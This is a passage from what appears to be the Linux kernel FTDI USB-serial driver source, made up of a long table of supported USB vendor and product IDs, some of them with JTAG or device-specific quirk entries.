},\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_USI2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_T1100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_PCD200_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_ULA200_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_CSI8_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_EM1000DL_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_PCK100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_RFP500_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_FS20SIG_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UTP8_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS300PC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS444PC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_FHZ1300PC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_EM1010PC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS500_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_HS485_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UMS100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_TFD128_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_FM3RX_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS777_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PALMSENS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IVIUM_XSTAT_PID) },\n\t{ USB_DEVICE(FTDI_VID, LINX_SDMUSBQSS_PID) },\n\t{ USB_DEVICE(FTDI_VID, LINX_MASTERDEVEL2_PID) },\n\t{ USB_DEVICE(FTDI_VID, LINX_FUTURE_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, LINX_FUTURE_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, LINX_FUTURE_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU20_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU40_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSMACHX_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSLOAD_N_GO_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSICDU64_4_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CCSPRIME8_5_PID) },\n\t{ USB_DEVICE(FTDI_VID, INSIDE_ACCESSO) },\n\t{ USB_DEVICE(INTREPID_VID, INTREPID_VALUECAN_PID) },\n\t{ USB_DEVICE(INTREPID_VID, INTREPID_NEOVI_PID) },\n\t{ USB_DEVICE(FALCOM_VID, FALCOM_TWIST_PID) },\n\t{ USB_DEVICE(FALCOM_VID, FALCOM_SAMBA_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SUUNTO_SPORTS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OCEANIC_PID) },\n\t{ USB_DEVICE(TTI_VID, TTI_QL355P_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_RM_CANVIEW_PID) },\n\t{ USB_DEVICE(ACTON_VID, ACTON_SPECTRAPRO_PID) },\n\t{ USB_DEVICE(CONTEC_VID, CONTEC_COM1USBH_PID) },\n\t{ USB_DEVICE(MITSUBISHI_VID, MITSUBISHI_FXUSB_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USOTL4_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USTL4_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USPTL4_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2DR_2_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USO9ML2DR_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4DR2_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_USOPTL4DR_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_485USB9F_2W_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_485USB9F_4W_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_232USB9M_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_485USBTB_2W_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_485USBTB_4W_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_TTL5USB9M_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_TTL3USB9M_PID) },\n\t{ USB_DEVICE(BANDB_VID, BANDB_ZZ_PROG1_USB_PID) },\n\t{ USB_DEVICE(FTDI_VID, EVER_ECO_PRO_CDS) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_4N_GALAXY_DE_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_4N_GALAXY_DE_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_4N_GALAXY_DE_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_0_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_1_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_2_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_4_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_5_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_6_PID) },\n\t{ USB_DEVICE(FTDI_VID, XSENS_CONVERTER_7_PID) },\n\t{ USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) },\n\t{ USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) },\n\t{ USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) },\n\t{ USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) },\n\t{ USB_DEVICE(XSENS_VID, XSENS_MTW_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OMNI1509) },\n\t{ USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ACTIVE_ROBOTS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_KW_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_YS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y6_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y8_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_IC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_DB9_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_RS232_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MHAM_Y9_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TERATRONIK_VCP_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TERATRONIK_D2XX_PID) },\n\t{ USB_DEVICE(EVOLUTION_VID, EVOLUTION_ER1_PID) },\n\t{ USB_DEVICE(EVOLUTION_VID, EVO_HYBRID_PID) },\n\t{ USB_DEVICE(EVOLUTION_VID, EVO_RCM4_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ARTEMIS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16C_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16HR_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16HRC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ATIK_ATK16IC_PID) },\n\t{ USB_DEVICE(KOBIL_VID, KOBIL_CONV_B1_PID) },\n\t{ USB_DEVICE(KOBIL_VID, KOBIL_CONV_KAAN_PID) },\n\t{ USB_DEVICE(POSIFLEX_VID, POSIFLEX_PP7000_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TTUSB_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ECLO_COM_1WIRE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_WESTREX_MODEL_777_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_WESTREX_MODEL_8900F_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PCDJ_DAC2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_RRCIRKITS_LOCOBUFFER_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ASK_RDR400_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NZR_SEM_USB_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_1_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_OPC_U_UC_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2C1_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2C2_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2D_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2VT_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2VR_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP4KVT_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP4KVR_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2KVT_PID) },\n\t{ USB_DEVICE(ICOM_VID, ICOM_ID_RP2KVR_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ACG_HFDUAL_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_YEI_SERVOCENTER31_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_THORLABS_PID) },\n\t{ USB_DEVICE(TESTO_VID, TESTO_1_PID) },\n\t{ USB_DEVICE(TESTO_VID, TESTO_3_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GAMMA_SCOUT_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13M_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13S_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13U_PID) },\n\t{ USB_DEVICE(ELEKTOR_VID, ELEKTOR_FT323R_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NDI_HUC_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NDI_SPECTRA_SCU_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NDI_FUTURE_2_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NDI_FUTURE_3_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NDI_AURORA_SCU_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },\n\t{ USB_DEVICE(TELLDUS_VID, TELLDUS_TELLSTICK_PID) },\n\t{ USB_DEVICE(NOVITUS_VID, NOVITUS_BONO_E_PID) },\n\t{ USB_DEVICE(FTDI_VID, RTSYSTEMS_USB_VX8_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_S03_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_59_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_57A_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_57B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_29A_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_29B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_29F_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_62B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_S01_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_63_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_29C_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_81B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_82B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_K5D_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_K4Y_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_K5G_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_S05_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_60_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_61_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_62_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_63B_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_64_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_65_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_92_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_92D_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_W5R_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_A5R_PID) },\n\t{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_PW1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_MAXSTREAM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PHI_FISCO_PID) },\n\t{ USB_DEVICE(TML_VID, TML_USB_SERIAL_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELSTER_UNICOM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PROPOX_JTAGCABLEII_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PROPOX_ISPCABLEIII_PID) },\n\t{ USB_DEVICE(FTDI_VID, CYBER_CORTEX_AV_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE_INTERFACE_NUMBER(OLIMEX_VID, OLIMEX_ARM_USB_OCD_PID, 1) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(OLIMEX_VID, OLIMEX_ARM_USB_OCD_H_PID, 1) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(OLIMEX_VID, OLIMEX_ARM_USB_TINY_PID, 1) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(OLIMEX_VID, OLIMEX_ARM_USB_TINY_H_PID, 1) },\n\t{ USB_DEVICE(FIC_VID, FIC_NEO1973_DEBUG_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_OOCDLINK_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, LMI_LM3S_DEVEL_BOARD_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, LMI_LM3S_EVAL_BOARD_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, LMI_LM3S_ICDI_BOARD_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TURTELIZER_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(RATOC_VENDOR_ID, RATOC_PRODUCT_ID_USB60F) },\n\t{ USB_DEVICE(RATOC_VENDOR_ID, RATOC_PRODUCT_ID_SCU18) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_REU_TINY_PID) },\n\n\t/* Papouch devices based on FTDI chip */\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB485_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_AP485_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB422_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB485_2_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_AP485_2_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB422_2_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB485S_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB485C_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_LEC_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SB232_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_TMU_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_IRAMP_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_DRAK5_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO8x8_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO4x4_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO2x2_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO10x1_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO30x3_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO60x3_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO2x16_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO3x32_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_DRAK6_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_UPSUSB_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_MU_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_SIMUKEY_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_AD4USB_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_GMUX_PID) },\n\t{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_GMSR_PID) },\n\n\t{ USB_DEVICE(FTDI_VID, FTDI_DOMINTELL_DGQG_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_DOMINTELL_DUSB_PID) },\n\t{ USB_DEVICE(ALTI2_VID, ALTI2_N3_PID) },\n\t{ USB_DEVICE(FTDI_VID, DIEBOLD_BCS_SE923_PID) },\n\t{ USB_DEVICE(ATMEL_VID, STK541_PID) },\n\t{ USB_DEVICE(DE_VID, STB_PID) },\n\t{ USB_DEVICE(DE_VID, WHT_PID) },\n\t{ USB_DEVICE(ADI_VID, ADI_GNICE_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(ADI_VID, ADI_GNICEPLUS_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE_AND_INTERFACE_INFO(MICROCHIP_VID, MICROCHIP_USB_BOARD_PID,\n\t\t\t\t\tUSB_CLASS_VENDOR_SPEC,\n\t\t\t\t\tUSB_SUBCLASS_VENDOR_SPEC, 0x00) },\n\t{ USB_DEVICE_INTERFACE_NUMBER(ACTEL_VID, MICROSEMI_ARROW_SF2PLUS_BOARD_PID, 2) },\n\t{ USB_DEVICE(JETI_VID, JETI_SPC1201_PID) },\n\t{ USB_DEVICE(MARVELL_VID, MARVELL_SHEEVAPLUG_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(LARSENBRUSGAARD_VID, LB_ALTITRACK_PID) },\n\t{ USB_DEVICE(GN_OTOMETRICS_VID, AURICAL_USB_PID) },\n\t{ USB_DEVICE(FTDI_VID, PI_C865_PID) },\n\t{ USB_DEVICE(FTDI_VID, PI_C857_PID) },\n\t{ USB_DEVICE(PI_VID, PI_C866_PID) },\n\t{ USB_DEVICE(PI_VID, PI_C663_PID) },\n\t{ USB_DEVICE(PI_VID, PI_C725_PID) },\n\t{ USB_DEVICE(PI_VID, PI_E517_PID) },\n\t{ USB_DEVICE(PI_VID, PI_C863_PID) },\n\t{ USB_DEVICE(PI_VID, PI_E861_PID) },\n\t{ USB_DEVICE(PI_VID, PI_C867_PID) },\n\t{ USB_DEVICE(PI_VID, PI_E609_PID) },\n\t{ USB_DEVICE(PI_VID, PI_E709_PID) },\n\t{ USB_DEVICE(PI_VID, PI_100F_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1011_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1012_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1013_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1014_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1015_PID) },\n\t{ USB_DEVICE(PI_VID, PI_1016_PID) },\n\t{ USB_DEVICE(KONDO_VID, KONDO_USB_SERIAL_PID) },\n\t{ USB_DEVICE(BAYER_VID, BAYER_CONTOUR_CABLE_PID) },\n\t{ USB_DEVICE(FTDI_VID, MARVELL_OPENRD_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, TI_XDS100V2_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, HAMEG_HO820_PID) },\n\t{ USB_DEVICE(FTDI_VID, HAMEG_HO720_PID) },\n\t{ USB_DEVICE(FTDI_VID, HAMEG_HO730_PID) },\n\t{ USB_DEVICE(FTDI_VID, HAMEG_HO870_PID) },\n\t{ USB_DEVICE(FTDI_VID, MJSG_GENERIC_PID) },\n\t{ USB_DEVICE(FTDI_VID, MJSG_SR_RADIO_PID) },\n\t{ USB_DEVICE(FTDI_VID, MJSG_HD_RADIO_PID) },\n\t{ USB_DEVICE(FTDI_VID, MJSG_XM_RADIO_PID) },\n\t{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_ST_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SLITE_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SH2_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SH4_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, SEGWAY_RMP200_PID) },\n\t{ USB_DEVICE(FTDI_VID, ACCESIO_COM4SM_PID) },\n\t{ USB_DEVICE(IONICS_VID, IONICS_PLUGCOMPUTER_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_24_MASTER_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_PC_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_USB_DMX_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_MIDI_TIMECODE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_MINI_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_MAXI_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_MEDIA_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CHAMSYS_WING_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCIENCESCOPE_LOGBOOKML_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCIENCESCOPE_LS_LOGBOOK_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SCIENCESCOPE_HS_LOGBOOK_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CINTERION_MC55I_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_FHE_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_DOTEC_PID) },\n\t{ USB_DEVICE(QIHARDWARE_VID, MILKYMISTONE_JTAGSERIAL_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(ST_VID, ST_STMCLT_2232_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(ST_VID, ST_STMCLT_4232_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_stmclite_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_RF_R106) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_DISTORTEC_JTAG_LOCK_PICK_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_LUMEL_PD12_PID) },\n\t/* Crucible Devices */\n\t{ USB_DEVICE(FTDI_VID, FTDI_CT_COMET_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_Z3X_PID) },\n\t/* Cressi Devices */\n\t{ USB_DEVICE(FTDI_VID, FTDI_CRESSI_PID) },\n\t/* Brainboxes Devices */\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_VX_001_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_VX_012_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_VX_023_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_VX_034_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_101_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_3_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_4_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_5_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_6_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_7_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_160_8_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_257_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_279_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_279_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_279_3_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_279_4_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_313_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_324_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_346_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_346_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_357_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_606_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_606_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_606_3_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_701_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_701_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_1_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_2_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_3_PID) },\n\t{ USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_4_PID) },\n\t/* ekey Devices */\n\t{ 